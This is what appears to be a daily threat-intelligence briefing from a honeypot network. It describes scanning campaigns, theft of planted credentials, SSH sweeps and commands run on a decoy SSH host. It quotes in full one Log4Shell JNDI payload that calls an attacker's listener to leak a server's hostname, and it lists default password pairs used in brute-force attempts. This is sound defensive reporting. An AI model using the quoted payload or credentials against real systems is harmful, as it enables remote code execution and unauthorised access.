Switch back to the standard briefing

FLUX FLEET — INTEL BRIEFING №60 — PLAIN LANGUAGE

Period: 2026-10-22 07:32 – 2026-10-23 07:33 UTC (24h, day 58 of operations)
Technical version: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-10-23.md

What happened (plain)

One internet address sent more traffic to our Russia honeypot (ru-edge-1) than we have ever recorded from a single address. The address 192.153.76.57, hosted by Amazon in the US, tried 69,174 different file paths in 4 hours 16 minutes. Most looks were for phpMyAdmin logins (38,582 tries) or Microsoft Exchange servers (about 6,971 tries); the whole node took 75,207 events, which is 6,116 percent over its normal week. A second crew of three Amazon-US addresses on the same node ran 2,056 paths, sent 145 POST requests, and hid a Log4Shell attack string inside the fields that record who sent a request. Both crews picked up fake credentials we plant for attackers — 3 in total — and nobody used any stolen credential in AWS. That makes two cycles in a row with no credential use: 33 credentials went to 19 collector addresses this window. The ADMINER-SWARM crew spread across almost every sensor, the daily LeakIX-style walk ran fleet-wide again, and LIBREDTAIL ran six identical scans on control-1. frantech-ts went quiet because the MEGA-DICTIONARY replay did not run.

What it means (plain)

  1. Two separate crews scanned ru-edge-1 the same day, and both took credentials. 192.153.76.57 crawled 69,174 paths and took 1 credential. The 64.52.111.x trio ran 2,056 paths, sent 145 POSTs, and took 2. Same cloud provider, same day, same target theme; different address ranges and different tools. (High confidence on what we saw; Moderate on whether they are connected — we have no evidence that links them.)
  2. Attackers keep planting payloads in the fields that are supposed to record who they are. This window's Log4Shell string sat in both the clientIp and X-Forwarded-For fields of a request to a VMware login path. If a server parsed it wrongly, the string would make the server call out to their listener at interact.sploit.in and reveal its own hostname. Our forgery counter caught it, because the claimed address did not match the real connection. The counter's count of 2 is this event plus last cycle's telnet2.sh event, which fell inside both windows — it did not happen twice. (High confidence on the captures; we cannot see DNS callbacks in this pipeline, so we cannot tell whether the call-out happened.)
  3. This was a cycle for wide coverage, not deep attacks. The adminer crew put 40-plus addresses on 6-7 sensors each at only 34-96 events per address. The LeakIX walk shows up as three signature strings, but that is our digest's per-node quirk — it is one walk. Per-address volume stayed low everywhere. (High confidence — the crossnode and cluster tables.)
  4. Stolen credentials are piling up unused. 213.209.159.175 holds 36 credentials in 6 days (8 this window). 45.148.10.171 holds 26 in 6 days and took none this window, so its 27-window streak is in doubt. 34.58.160.181's 41 credentials are now about 4 days old with no use. Two zero-use cycles in a row is a first. Either the buyers stopped, or their use happens later than our 6-day pull can see. (Moderate — the pull window cannot show use after it closes.)

Campaigns (who / what / what it means)

EXCHANGE-DICT — a giant dictionary scan of one node

  • Who: 192.153.76.57, Amazon US. One address, one node (ru-edge-1), first time on record, not on any blocklist.
  • What they did: 69,601 GET requests against 69,174 paths between 17:13 and 21:29 UTC on 10-22 — almost no path was tried twice, and there were no POSTs. The results: phpmyadmin-login 38,582, not-handled 22,750, exchange-autodiscover-probe 2,310, exchange-ecp-login 1,546, exchange-ews-probe 1,432, exchange-owa-landing 1,073, exchange-oab-probe 610, webshell-probe 210, backup-archive 141, fake-git 88, fake-svn-error 69, etc-passwd 32. One forged Chrome/96 browser identity covered 69,539 events, with 64 events under Chrome/155. One fake credential taken.
  • What it means: the biggest single-address scan in fleet history — the old record was 14,787 events. Our decoys held, and the operator left with 1 credential. Watch for a second address or node.

JNDI-FIELD-INJECT — Exchange scanning plus a Log4Shell string in identity fields

  • Who: 64.52.111.255, .253, and .248 — three addresses in one Amazon-US range, all on ru-edge-1.
  • What they did: .255 ran 3,090 events over 3 h 52 m (13:43–17:35 UTC) under a forged old Chrome/40 identity (2,959 events), sent 138 POSTs whose bodies we did not capture, and took 2 credentials (openapi-spec-json-issued rows ×6). .253 ran 1,588 events in 10 minutes with 7 POSTs. .248 made 12 light requests. At 13:44:15 UTC, .255 put a Log4Shell string — the full text is ${jndi:${lower:d}n${lower:s}://${env:hostName}.dbctli1aobf8eu4av71gxdyzz5frsjccq.interact.sploit.in} — into the clientIp and X-Forwarded-For fields of a request to /websso/SAML2/SSO/vsphere.local.
  • What it means: they want code execution or hostname proof, and files alone do not explain the POST battery. The forgery counter caught it. Watch for any interact.sploit.in callback, a second address range, AWS use of the 2 credentials, or one captured POST body.

ADMINER-SWARM — the adminer crew went fleet-wide

  • Who: more than 40 addresses in 173.239.214.x plus 45.131.195.68, .221, and .225. Each address hit 6-7 sensors with 34-96 events.
  • What they did: the usual login-page checks everywhere, including lauterbourg-01-ts's phpmyadmin decoy (33 events, a 9.2× spike, at 2-3 events per address). 5 credentials taken: 173.239.214.88, .94, .110, and .114 on canary-farm-1, .120 on ai-devbox-1. Their credential POSTs were rare enough this window that no spike fired.
  • What it means: same playbook, wider reach. Whether the two address blocks are one crew is still open.

REGISTRY-HUNT / LeakIX — the daily l9scan walk, fleet-wide again

LIBREDTAIL-KIT — six identical scans on control-1

  • Who: 169.239.75.138, 192.6.161.135, 107.150.123.48, 104.175.149.146, 160.250.132.238, and 169.58.231.82, all using the honest tool name libredtail-http. Each ran 49 events / 44 paths, spread between 08:15 and 03:01 UTC. A separate forged-identity cluster (7e61a9500d8b) ran 686 events on 6 sensors with 14 addresses.
  • What they did: the known attack chain — phpunit eval-stdin probes, command-injection attempts, a docker check per runner. They caused control-1's phpunit spike (259 events, 6.6×) and command-injection spike (35, 6.3×).
  • What it means: two runners last cycle became six this cycle on one node. That looks scheduled, not random. A captured attack body would tell us more; none has been captured for twelve cycles.

CREDSWEEP — the 45.148.10.238 crew came back

  • Who: 45.148.10.238 (Techoff Srv NL, on two blocklists) — the same address that ran this playbook in mid-September, back after a long gap.
  • What they did: two short bursts — 700 events on netcup-ts in 2 minutes (21:25–21:27 UTC) and 652 events on control-1 in 3 minutes (06:42–06:45 UTC on 10-23) — and took 1 credential on control-1. They used six modern browser fakes (iPhone Safari 18.2, Mac Safari 18.2, Firefox/134 on two platforms, Chrome/131 on two platforms, about 140 events each). The old Mozlila typo forgery is gone.
  • What it means: same burst style, new clothes. One more credential run makes them a standing crew again.

GIT-VAULT — a new tool called gitdump/1.0

  • Who: 195.178.110.68 (a Techoff Srv BG range that other walkers use).
  • What they did: two 5-second walks of /.git paths — ai-devbox-1 at 13:03 UTC, canary-farm-1 at 15:06 UTC, 29 events / 28 paths each — including real-looking git object hashes (/.git/objects/40/d571…, 95/82b3…, 53/1c12…). The farm run produced that node's 8 first-seen object paths. No credentials taken.
  • What it means: a third git-walking tool we can fingerprint by its honest name. Watch for a second address.

ATLASSIAN-REST-PROBE — seven one-touch visits

CREDENTIAL-DRAIN — second cycle in a row with no stolen-credential use

  • Who: mint side — 33 fake credentials to 19 collector addresses (39 digest issued rows). Use side — nobody.
  • What they did: 45 mint attempts failed with 400 Bad Request (the usual burst-pacing cause). Two attempts on ai-devbox-1 failed in a new way: the upstream returned no credential and no HTTP status (tracebit-error). New collectors this window: 159.89.192.15, 45.65.112.21, 138.68.144.227, and 45.148.10.125, which took one credential on each of the four canary sensors in a single 05:44 UTC pass.
  • What it means: the pile of stolen credentials keeps growing and nobody is spending it. One mismatch to note: 165.227.102.187 shows 2 issued rows in the flux logs but no credential in this Tracebit pull — count credentials from Tracebit labels.

Other watchers (one to a line)

  • 176.65.148.23 (Pfcloud NL, blocklisted): a slow 9-hour walk of /.git object paths on canary-farm-1 — 96 fetches, 103 fake-git answers, 261 events (22:28–07:31 UTC) — plus light visits to 3 more sensors. New behavior for this network.
  • 195.178.110.137 (Techoff BG): usually a light daily walker; today it ran a 1-minute 392-path census on canary-farm-1 with 148 backup-archive and 30 sql-dump results.
  • 85.11.167.243: used a self-named tool, php2shell-109618, on 4 sensors in 52 minutes (17:05–17:57 UTC) — POSTs to a phpunit eval-stdin trap with a multipart body we captured (boundary B7kQpoc618, field PHPSESSID = a1b2c3d4e5f6a7b8c9d0e1f2a3). The decoy answered 200.
  • 93.152.209.6 (Omniline BG): second window in a row — another forged-Googlebot census on canary-farm-1, 1 credential taken. Two windows now; promotion candidate.
  • 93.152.221.226 (TechTies DE): a new sibling address; 30-family .env census on ai-devbox-1, and its credential attempt hit the new empty-failure class.
  • WP-LOGIN-BRUTE on canary-farm-1: 48 POSTs (48× normal), one per home address under forged Chrome/149-152, with passwords equal to usernames (editor/editor, admin/admin, webmaster/webmaster), all aimed at the sso.rightabouteverything.show login.
  • Honest-looking single walkers: Authorized-Audit/1.0 (18.185.2.151 on AWS, plus 204.168.138.228) with 1-2 events on four sensors, and phase-scan/1.0 (23.252.112.35) with 1 event each on lauterbourg and sponge.
  • 45.148.10.125: one credential from each of the four canary sensors in one pass, 4 in 6 days.
  • 45.156.128.156: the WP-ENUM address block showed up on frantech-ts for the first time — the node's top talker at 54 events.

Standing actors (who keeps coming back)

  • 213.209.159.175 (Feo Prest, Germany, blocklisted): took 8 more credentials on control-1 this window — 36 in 6 days — and ran a 914-event census with 58 result families. The most persistent collector we track.
  • 213.209.159.154 (Feo Prest): 2 credentials this window, 10 in 6 days.
  • The Bochum university research crawler (185.73.23.161, .162, .168): eleventh window, on our benign list. 6,028 events across netcup and sponge, no POSTs, no credentials taken.
  • TOKEN-CRAWLER pool 45.198.224.124 and .125: touched all 8 sensors again (43 and 84 events), no credentials.
  • Benign fixed-schedule probers: 89.248.172.33 (348 events, 7 sensors), 93.174.93.12 (324, 6), Censys 71.6.155.70 (8), visionheight 18.116.101.220 (5), osint-scanner 45.139.104.34 and .35, CyberConvoyScout 45.77.61.56, 195.182.16.23, 34.140.3.155 (6).
  • Pfcloud 204.76.203.7: its usual light 4-sensor walk (5 events). The MALWARE-DICT replay from .18 stayed idle again.

Who went quiet: WEBSIPHON (first miss after five windows), MEGA-DICTIONARY (first miss), KEYDROP-SCANS, CLAUDE-CRED-HUNT, SES-QUOTA-PROBE, AI-EXEC-HUNT (fourth window), METADATA-HUNT runners, CVENGINE-KIT, CONFIGBUNDLE-KIT, CENSUS-284, WP-FORM-BRUTE, BUCKLOG-KIT, GOWEB-PENTEST, ADMINER's 185.198.240.x block, 37.60.226.187 (no new credential this window; 17 in 6 days stands), 45.148.10.171 (no new credential this window; 27-window streak at risk), XMLRPC-BRUTE, NIGHTAGENT, OMEGA-SWEEP, SONICWALL-VPN-PROBE, ENVRC-SWEEP, KEYHUNT, SI-CENSUS, PROTON-CENSUS, LLM-ENDPOINT-PROBE, AKAMAI-VHOST-SCAN, and KITEWORKS-CRAWL.

Network sweeps (Arkime) — SSH banner sweeps the web traps cannot see

The pcap sensors saw 126,299 inbound SSH sessions to the fleet's port 22. These sweeps only read our banner and disconnect, so they never touch a web path — no flux event, no canary mint. We track them by client fingerprint (the tool's identity), never by source address.

  • LIBSSH-MASSSWEEP (f555226df1963d1d3c09daf865abdc9a, banner ssh-2.0-libssh_0.9.6): 6,947 sessions from 366 addresses in 198 networks and 59 countries — 48 more addresses and 24 more networks than yesterday. Daily address counts: 10-17 257, 10-18 324, 10-19 418, 10-20 402, 10-21 327, 10-22 314, 10-23 141 (partial day).
  • GO-SSH-SWEEP (0a07365cc01fa9fc82608ba4019af499): 23,671 sessions from 43 addresses on 9 networks. Sessions fell by 6,644; the address pool held.
  • GO-SCATTER-SWEEP (16443846184eafde36765c9bab2f4397): 13,631 sessions from 35 addresses on 22 networks, up 1,354 sessions.
  • GO-SPRAY-SWEEP (06ff3615a51b2af343ec22abc8e30bbc): absent this window. Its on-and-off pattern continues.
  • Smaller fingerprints: dd9bcf093c355da7000132131cb36fd0 (29 sessions, 29 addresses, 1 network), 03a80b21afa810682a776a7d42e5e6fb (583 sessions, 27 addresses, 21 networks), 084386fa7ae5039bcf6f07298a05a227 (27, 25, 5), a591c4ddccc960a2da8099958270fc92 (167, 23, 6), and a new one below the alert line, e54ef3ec27fe1fea7ab64d3fa05359fd (31 sessions, 21 addresses, 6 networks).

Session labels drifted again (contabo-sponge-02-ts and proxy, 19,538 sessions); the label repair is still open.

Canaries (minted and used) — credentials we let attackers steal

Nobody used a stolen canary in AWS this window. The sensors minted 33 credentials to 19 collector addresses, and all 33 sat unused.

Funnel: 33 minted, 19 collectors, 0 used in AWS, 0 use addresses.

Who took credentials (address — sensor — this window — 6-day history):

Older hoards still unused (address: mints in 6 days, first → last):

How the fleet behaved (Fleet Observations) — plain

  • Canary health. The digest counted 39 mint rows (control-1 13, canary-farm-1 12, ru-edge-1 9, ai-devbox-1 5). After removing double-counted rows, 33 real credentials went to 19 collectors. 45 mint attempts failed with 400 Bad Request (farm 14, control 14, ru-edge 12, aidev 6 counting one vite-fs variant). Two attempts on ai-devbox-1 failed in a new way — no credential and no HTTP status — and that failure type is now on record. No 401s. The all-time count of issued rows is 2,814.
  • Who is who. Attackers claimed addresses in X-Forwarded-For headers 1,618 times. No forged multi-entry chains. 167 carried an XFF that matched the real connection or was safely ignored. 2 claimed an address different from the real connection — the two injection events. ru-edge-1's 75,207 events were all plain HTTP. lauterbourg-01-ts saw 449 HTTPS against 1,432 HTTP; ai-devbox-1 552 against 1,263; canary-farm-1 448 against 2,285. The two fake company vhosts stay popular: inference.fapthropic.com 817 events, sso.rightabouteverything.show 732.
  • control-1, our deliberately fresh node. Day 40: 2,929 events from 193 unique addresses — a second record in a row (178 last cycle). The crowd came from the adminer pass, the six LIBREDTAIL runners, and the LeakIX walk. This was crowding, not a discovery wave.
  • Volume. ru-edge-1 +6,116 percent (75,207). canary-farm-1 +13 percent (2,733). lauterbourg-01-ts +39 percent (1,881). sponge-01-ts −44 percent (3,590) — less research crawling and no WebSiphon. control-1 −17 percent (2,929). netcup-ts −10 percent (5,672). frantech-ts −93 percent (1,081) — no MEGA-DICTIONARY replay. ai-devbox-1 −7 percent (1,815).
  • Every spike has an owner. ru-edge's 38,597 phpmyadmin-login events and its six exchange spikes belong to the dictionary scan. control-1's phpunit (259) and command-injection (35) spikes belong to the six LIBREDTAIL runners. The docker-registry spikes on five sensors (45 or 25 events each) belong to the LeakIX walk. canary-farm's backup-archive spike (150) belongs to 195.178.110.137; its wp-login spike (48) to the one-POST-per-address brute; its sql-dump spike (32) to 195.178.110.137 (30) and 159.89.192.15 (2). lauterbourg's phpmyadmin spike (33) belongs to the adminer pool. netcup's webshell-sweep spike (21) belongs to the CREDSWEEP return.
  • Digest quirks this cycle. The campaign table split one LeakIX walk into three per-node signatures — same tool, not three crews. A new failure type (tracebit-error) is now counted as a failure. First-seen times cluster at 03:15–03:31 because they record when logs arrived, not when things happened. Spot totals run above digest cells on the aligned window (ru-edge 75,673 against 75,207).
  • Fleet-side changes. The visuals dashboard gained the two new campaigns and the WEBSIPHON idle flip, plus 11 new talker mappings; the recon name table is unchanged. Dashboard: /data/flux-logs/reports/flux-fleet-visuals-2026-10-23.html (4.77 MB).

SSH/telnet honeypot (frantech-ts — one host, not fleet-wide)

363 addresses tried passwords. 253 got a shell (70 percent). 190 ran a command (75 percent of shell-getters, 52 percent of sources). In raw events: 30,940 password attempts (3.4 times the prior window), 6,882 accepted logins, 10,086 commands. Telnet (home-router botnets) saw 690 attempts.

No command appeared for the first time this window (0 of 43 distinct). The recurring set moved in size. 103.241.232.99 ran echo -e "\x6F\x6B" 3,000 times — the largest single-command volume this box has recorded. The hardware-survey pair (uname -s -v -n -r -m plus an awk one-liner) ran 1,932 events each from 109.160.32.107 and 2 siblings. The .ssh takeover pair ran 643 events from 169 addresses; the key-replace chain 554 from 151. A GPU survey (nvidia-smi) ran 190 events from 3 addresses led by 179.43.153.2.

24,462 different username/password pairs were offered, up from 3,577. None were new. The same fixed pairs lead: 345gs5662d34/345gs5662d34 at 625 attempts and root/3245gs5662d34 at 383.

Open questions

  1. Will the dictionary scanner (192.153.76.57) return on a second address or node, and will its credential show up in AWS?
  2. Did the Log4Shell string reach a live listener? The traps cannot see DNS calls, so a call-back would be invisible to us — that is a collection gap, and we do not know the answer.
  3. Is credential use paused, or does it happen later than our 6-day pull can see? The oldest hoard (34.58.160.181, 41 credentials) is about 4 days old and untouched. A full Tracebit history pull would answer.
  4. Did 45.148.10.171's 27-window credential streak break, or did its mint fall outside this pull?
  5. Will the CREDSWEEP crew (45.148.10.238) run a second credential run under its new browser fakes?
  6. Will php2shell-109618 return, and will it ever get anything but our decoy's 200?
  7. Will LIBREDTAIL's six-runner formation repeat, and on which node?
  8. The Arkime session labels still drift from their sensor names (contabo-sponge-02-ts, proxy). That is an ops fix, not something this report can change.

Plain language version of: flux-fleet-intel-briefing-2026-10-23.md